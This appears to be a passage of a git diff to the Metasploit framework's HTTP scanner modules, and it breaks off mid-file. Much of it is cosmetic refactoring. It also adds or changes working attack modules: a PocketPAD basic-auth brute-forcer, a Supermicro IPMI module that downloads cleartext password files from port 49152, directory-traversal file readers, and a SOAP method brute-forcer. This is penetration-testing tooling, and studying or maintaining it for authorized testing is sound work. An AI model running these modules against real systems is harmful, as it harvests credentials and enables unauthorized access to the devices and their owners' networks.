Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'PocketPAD Login Bruteforce Force Utility', + 'Description' => %{ + This module scans for PocketPAD login portal, and + performs a login bruteforce attack to identify valid credentials. + }, + 'Author' => + [ + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', + ], + 'License' => MSF_LICENSE + )) + end + + def run_host(ip) + unless is_app_popad? + return + end + + print_status("#{peer} - Starting login bruteforce...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + # + # What's the point of running this module if the target actually isn't PocketPAD + # + + def is_app_popad? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + vprint_error("#{peer} - HTTP Connection Failed...") + return false + end + + if res && res.code == 200 && res.headers['Server'] && res.headers['Server'].include?("Smeagol") && res.body.include?("PocketPAD") + vprint_good("#{peer} - Running PocketPAD application ...") + return true + else + vprint_error("#{peer} - Application is not PocketPAD. Module will not continue.") + return false + end + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/cgi-bin/config.cgi', + 'method' => 'POST', + 'authorization' => basic_auth(user,pass), + 'vars_post' => { + 'file' => "configindex.html" + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{peer} - HTTP Connection Failed...") + return :abort + end + + if (res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("Smeagol")) + print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + report_hash = { + :host => rhost, + :port => rport, + :sname => 'PocketPAD Portal', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + report_auth_info(report_hash) + return :next_user + else + vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end + end +end diff --git a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb index cdb270dd03..fea9b90324 100644 --- a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb +++ b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb index 57c3c43ddd..115ceff6d4 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb index afbbde818a..cb12852868 100644 --- a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -96,4 +96,4 @@ class Metasploit3 < Msf::Auxiliary end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/http/rails_mass_assignment.rb b/modules/auxiliary/scanner/http/rails_mass_assignment.rb index ae55aa5571..5bdbe7bed5 100644 --- a/modules/auxiliary/scanner/http/rails_mass_assignment.rb +++ b/modules/auxiliary/scanner/http/rails_mass_assignment.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index cdfb73f6d8..c91d8c2940 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/replace_ext.rb b/modules/auxiliary/scanner/http/replace_ext.rb index a85163b6f5..fdc6e951c3 100644 --- a/modules/auxiliary/scanner/http/replace_ext.rb +++ b/modules/auxiliary/scanner/http/replace_ext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb index 850dd1f8f4..a7ce79c852 100644 --- a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb +++ b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb index 0a9efc0d7d..62497673fc 100644 --- a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb +++ b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/robots_txt.rb b/modules/auxiliary/scanner/http/robots_txt.rb index 3b0638537d..ffc2259a65 100644 --- a/modules/auxiliary/scanner/http/robots_txt.rb +++ b/modules/auxiliary/scanner/http/robots_txt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index b2384421b6..3cea0a550b 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, @@ -41,13 +42,13 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def run + def run_host(ip) uri = target_uri.path uri << '/' if uri[-1, 1] != '/' t = "/.." * datastore['DEPTH'] - print_status("Retrieving #{datastore['FILE']}") + vprint_status("#{peer} - Retrieving #{datastore['FILE']}") # No permission to access.log or proc/self/environ, so this is all we do :-/ uri = normalize_uri(uri, 'index.php') @@ -57,13 +58,14 @@ class Metasploit3 < Msf::Auxiliary }) if not res - print_error("Server timed out") + vprint_error("#{peer} - Server timed out") elsif res and res.body =~ /Error 404 requested page cannot be found/ - print_error("Either the file doesn't exist, or you don't have the permission to get it") + vprint_error("#{peer} - Either the file doesn't exist, or you don't have the permission to get it") else # We don't save the body by default, because there's also other junk in it. # But we still have a SAVE option just in case - print_line(res.body) + print_good("#{peer} - #{datastore['FILE']} retrieved") + vprint_line(res.body) if datastore['SAVE'] p = store_loot( @@ -73,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary res.body, ::File.basename(datastore['FILE']) ) - print_status("File saved as: #{p}") + print_good("#{peer} - File saved as: #{p}") end end end diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index 8853d1e67a..5621d690b2 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb index 8a23f0f181..7e50d316d3 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb index dc282363b0..f56d659877 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index a5d6f12f4c..7fabe8e043 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb index 3d0f2d455a..e57ac40ac2 100644 --- a/modules/auxiliary/scanner/http/scraper.rb +++ b/modules/auxiliary/scanner/http/scraper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('PATH', [ true, "The test path to the page to analize", '/']), - OptRegexp.new('PATTERN', [ true, "The regex to use (default regex is a sample to grab page title)", %r{<title>(.*)}i]) + OptRegexp.new('PATTERN', [ true, "The regex to use (default regex is a sample to grab page title)", '(.*)']) ], self.class) @@ -60,6 +60,14 @@ class Metasploit3 < Msf::Auxiliary result.each do |u| print_status("[#{target_host}] #{tpath} [#{u}]") + report_note( + :host => target_host, + :port => rport, + :proto => 'tcp', + :type => "http.scraper.#{rport}", + :data => u + ) + report_web_vuln( :host => target_host, :port => rport, diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 6c00a86bfc..1a180a19fb 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary 'authorization' => basic_auth(user,pass) }) - if (res and res.headers['Set-Cookie']) + if res and !res.get_cookies.empty? print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") report_hash = { diff --git a/modules/auxiliary/scanner/http/sevone_enum.rb b/modules/auxiliary/scanner/http/sevone_enum.rb index df1365d803..8a0e4774bc 100644 --- a/modules/auxiliary/scanner/http/sevone_enum.rb +++ b/modules/auxiliary/scanner/http/sevone_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET' }) - if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE')) + if (res and res.code.to_i == 200 and res.get_cookies.include?('SEVONE')) version_key = /Version: (.+)<\/strong>/ version = res.body.scan(version_key).flatten print_good("#{rhost}:#{rport} - Application confirmed to be SevOne Network Performance Management System version #{version}") diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index 583778d451..19c37446a5 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini']), OptInt.new('DEPTH', [true, 'The max traversal depth', 8]) ], self.class) diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb new file mode 100644 index 0000000000..093251a16e --- /dev/null +++ b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb @@ -0,0 +1,104 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure', + 'Description' => %q{ + This module abuses a file exposure vulnerability accessible through the web interface + on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker + to obtain detailed device information and download data files containing the clear-text + usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs + were exposed to the internet with this vulnerability. + }, + 'Author' => + [ + 'Zach Wikholm ', # Discovery and analysis + 'John Matherly ', # Internet-wide scan + 'Dan Farmer ', # Additional investigation + 'hdm' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'], + [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] + ], + 'DisclosureDate' => 'Jun 19 2014')) + + register_options( + [ + Opt::RPORT(49152) + ], self.class) + end + + def is_supermicro? + res = send_request_cgi( + { + "uri" => "/IPMIdevicedesc.xml", + "method" => "GET" + }) + + if res && res.code == 200 && res.body.to_s =~ /supermicro/i + path = store_loot( + 'supermicro.ipmi.devicexml', + 'text/xml', + rhost, + res.body.to_s, + 'IPMIdevicedesc.xml' + ) + print_good("#{peer} - Stored the device description XML in #{path}") + return true + else + return false + end + end + + + def run_host(ip) + + unless is_supermicro? + vprint_error("#{peer} - This does not appear to be a Supermicro IPMI controller") + return + end + + candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd } + + candidates.each do |uri| + res = send_request_cgi( + { + "uri" => uri, + "method" => "GET" + }) + + next unless res + + unless res.code == 200 && res.body.length > 0 + vprint_status("#{peer} - Request for #{uri} resulted in #{res.code}") + next + end + + path = store_loot( + 'supermicro.ipmi.passwords', + 'application/octet-stream', + rhost, + res.body.to_s, + uri.split('/').last + ) + print_good("#{peer} - Password data from #{uri} stored to #{path}") + end + end + +end diff --git a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb index 16d77a623a..206f7f416f 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb index e1835b6af8..e145de83eb 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb index 918a44ed28..d7873f017b 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,8 +9,10 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + APP_NAME = "Supermicro web interface" def initialize(info = {}) @@ -23,7 +25,8 @@ class Metasploit3 < Msf::Auxiliary a valid, but not necessarily administrator-level account, to access the contents of any file on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM) - with firmware version SMT_X9_214. + with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and + /wsman/simple_auth.passwd }, 'Author' => [ @@ -33,8 +36,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - #[ 'CVE', '' ], - [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ] + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ], + [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] ], 'DisclosureDate' => 'Nov 06 2013')) @@ -75,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary } }) - if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.headers["Set-Cookie"].to_s =~ /(SID=[a-z]+)/ + if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.get_cookies =~ /(SID=[a-z]+)/ return $1 else return nil @@ -107,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary end end - def run + def run_host(ip) print_status("#{peer} - Checking if it's a #{APP_NAME}....") if is_supermicro? print_good("#{peer} - Check successful") @@ -133,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary file_name = my_basename(datastore['FILEPATH']) path = store_loot( - 'supermicro.ipmi.traversal', + 'supermicro.ipmi.traversal.psblock', 'application/octet-stream', rhost, contents, diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb index 43967a99c7..b40d7abf45 100644 --- a/modules/auxiliary/scanner/http/soap_xml.rb +++ b/modules/auxiliary/scanner/http/soap_xml.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,183 +17,189 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP SOAP Verb/Noun Brute Force Scanner', - 'Description' => %q{ + 'Description' => %q( This module attempts to brute force SOAP/XML requests to uncover hidden methods. - }, - 'Author' => [ 'patrick' ], + ), + 'Author' => ['patrick'], 'License' => MSF_LICENSE)) register_options( [ - OptString.new('PATH', [ true, "The path to test", '/']), - OptString.new('XMLNAMESPACE', [ true, "XML Web Service Namespace", 'http://tempuri.org/']), - OptString.new('XMLINSTANCE', [ true, "XML Schema Instance", 'http://www.w3.org/2001/XMLSchema-instance']), - OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']), - OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']), - OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']), - OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]), - OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]), - OptBool.new('SSL', [ true, "Use SSL", false ]), - OptBool.new('VERB_DELETE', [ false, "Enable 'delete' verb", 'false']) + OptString.new('PATH', [true, 'The path to test', '/']), + OptString.new('XMLNAMESPACE', [true, 'XML Web Service Namespace', 'http://tempuri.org/']), + OptString.new('XMLINSTANCE', [true, 'XML Schema Instance', 'http://www.w3.org/2001/XMLSchema-instance']), + OptString.new('XMLSCHEMA', [true, 'XML Schema', 'http://www.w3.org/2001/XMLSchema']), + OptString.new('XMLSOAP', [true, 'XML SOAP', 'http://schemas.xmlsoap.org/soap/envelope/']), + OptString.new('CONTENTTYPE', [true, 'The HTTP Content-Type Header', 'application/x-www-form-urlencoded']), + OptInt.new('SLEEP', [true, 'Sleep this many milliseconds between requests', 0]), + OptBool.new('DISPLAYHTML', [true, 'Display HTML response', false]), + OptBool.new('SSL', [true, 'Use SSL', false]), + OptBool.new('VERB_DELETE', [false, 'Enable DELETE verb', false]) ], self.class) end # Fingerprint a single host def run_host(ip) + verbs = %w( + get + active + activate + create + change + set + put + do + go + resolve + start + recover + initiate + negotiate + define + stop + begin + end + manage + administer + modify + register + log + add + list + query + ) - verbs = [ - 'get', - 'active', - 'activate', - 'create', - 'change', - 'set', - 'put', - 'do', - 'go', - 'resolve', - 'start', - 'recover', - 'initiate', - 'negotiate', - 'define', - 'stop', - 'begin', - 'end', - 'manage', - 'administer', - 'modify', - 'register', - 'log', - 'add', - 'list', - 'query', - ] + verbs << 'delete' if datastore['VERB_DELETE'] - if (datastore['VERB_DELETE']) - verbs << 'delete' - end + nouns = %w( + password + task + tasks + pass + administration + account + accounts + admin + login + logins + token + tokens + credential + credentials + key + keys + guid + message + messages + user + users + username + usernames + load + list + name + names + file + files + path + paths + directory + directories + configuration + configurations + config + configs + setting + settings + registry + on + off + ) - nouns = [ - 'password', - 'task', - 'tasks', - 'pass', - 'administration', - 'account', - 'accounts', - 'admin', - 'login', - 'logins', - 'token', - 'tokens', - 'credential', - 'credentials', - 'key', - 'keys', - 'guid', - 'message', - 'messages', - 'user', - 'users', - 'username', - 'usernames', - 'load', - 'list', - 'name', - 'names', - 'file', - 'files', - 'path', - 'paths', - 'directory', - 'directories', - 'configuration', - 'configurations', - 'config', - 'configs', - 'setting', - 'settings', - 'registry', - 'on', - 'off', - ] - - target_port = datastore['RPORT'] vhost = datastore['VHOST'] || wmap_target_host || ip # regular expressions for common rejection messages reject_regexen = [] - reject_regexen << Regexp.new("method \\S+ is not valid", true) - reject_regexen << Regexp.new("Method \\S+ not implemented", true) - reject_regexen << Regexp.new("unable to resolve WSDL method name", true) + reject_regexen << Regexp.new('method \\S+ is not valid', true) + reject_regexen << Regexp.new('Method \\S+ not implemented', true) + reject_regexen << Regexp.new('unable to resolve WSDL method name', true) - begin - verbs.each do |v| - nouns.each do |n| + print_status("Starting scan with #{datastore['SLEEP']}ms delay between requests") + verbs.each do |v| + nouns.each do |n| + begin data_parts = [] - data_parts << "" + data_parts << '' data_parts << "" - data_parts << "" + data_parts << '' data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">" data_parts << "" - data_parts << "" - data_parts << "" + data_parts << '' + data_parts << '' data_parts << nil data_parts << nil data = data_parts.join("\r\n") uri = normalize_uri(datastore['PATH']) - vprint_status("Sending request #{uri}/#{v}#{n} to #{wmap_target_host}:#{datastore['RPORT']}") + uri += '/' unless uri =~ /^\/$/ + uri += v + n - res = send_request_raw({ - 'uri' => uri + '/' + v + n, - 'method' => 'POST', - 'vhost' => vhost, - 'data' => data, - 'headers' => - { - 'Content-Length' => data.length, - 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"', - 'Expect' => '100-continue', - 'Content-Type' => datastore['CONTENTTYPE'], - } - }, 15) + vprint_status("Sending request #{uri} #{wmap_target_host}:#{datastore['RPORT']}") - if (res && !(res.body.empty?)) - if ((not reject_regexen.select { |r| res.body =~ r }.empty?)) + res = send_request_raw( + { + 'uri' => uri, + 'method' => 'POST', + 'vhost' => vhost, + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"', + 'Expect' => '100-continue', + 'Content-Type' => datastore['CONTENTTYPE'] + } + }, 15) + + if res && !(res.body.empty?) + if reject_regexen.any? { |r| res.body =~ r } print_status("Server #{wmap_target_host}:#{datastore['RPORT']} rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") - elsif (res.message =~ /Cannot process the message because the content type/) + elsif res.message =~ /Cannot process the message because the content type/ print_status("Server #{wmap_target_host}:#{datastore['RPORT']} rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.") res.message =~ /was not the expected type\s\'([^']+)'/ print_status("Set CONTENTTYPE to \"#{$1}\"") return false - elsif (res.code == 404) + elsif res.code == 404 print_status("Server #{wmap_target_host}:#{datastore['RPORT']} returned HTTP 404 for #{datastore['PATH']}. Use a different one.") return false else print_status("Server #{wmap_target_host}:#{datastore['RPORT']} responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") ## Add Report report_note( - :host => ip, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :port => rport, - :type => "SOAPAction: #{v}#{n}", - :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}." + host: ip, + proto: 'tcp', + sname: (ssl ? 'https' : 'http'), + port: rport, + type: "SOAPAction: #{v}#{n}", + data: "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}." ) if datastore['DISPLAYHTML'] - print_status("The HTML content follows:") + print_status('The HTML content follows:') print_status(res.body + "\r\n") end end end - select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e + print_error(e.message) + ensure + Rex.sleep(sleep_time) end end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e - vprint_error(e.message) end end + + def sleep_time + datastore['SLEEP'] / 1000.0 + end end diff --git a/modules/auxiliary/scanner/http/sockso_traversal.rb b/modules/auxiliary/scanner/http/sockso_traversal.rb index 6bc54d1c69..b9deea0f9c 100644 --- a/modules/auxiliary/scanner/http/sockso_traversal.rb +++ b/modules/auxiliary/scanner/http/sockso_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 02407661c3..3ec0e6bd13 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -82,8 +82,8 @@ class Metasploit3 < Msf::Auxiliary session_id = '' cval = '' - if res and res.code == 200 and res.headers['Set-Cookie'] - res.headers['Set-Cookie'].split(';').each {|c| + if res and res.code == 200 and !res.get_cookies.empty? + res.get_cookies.split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /cval/ cval = v.split('=')[1] diff --git a/modules/auxiliary/scanner/http/sqlmap.rb b/modules/auxiliary/scanner/http/sqlmap.rb deleted file mode 100644 index 9c9e5568e0..0000000000 --- a/modules/auxiliary/scanner/http/sqlmap.rb +++ /dev/null @@ -1,112 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::WmapScanUniqueQuery - include Msf::Auxiliary::Scanner - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Sqlmap SQL Injection External Module', - 'Description' => %q{ - This module launches a sqlmap session. - Sqlmap is an automatic SQL injection tool developed in Python. - Its goal is to detect and take advantage of SQL injection - vulnerabilities on web applications. Once it detects one - or more SQL injections on the target host, the user can - choose among a variety of options to perform an extensive - back-end database management system fingerprint, retrieve - DBMS session user and database, enumerate users, password - hashes, privileges, databases, dump entire or user - specific DBMS tables/columns, run his own SQL SELECT - statement, read specific files on the file system and much - more. - }, - 'Author' => [ 'Bernardo Damele A. G. ' ], - 'License' => BSD_LICENSE, - 'References' => - [ - ['URL', 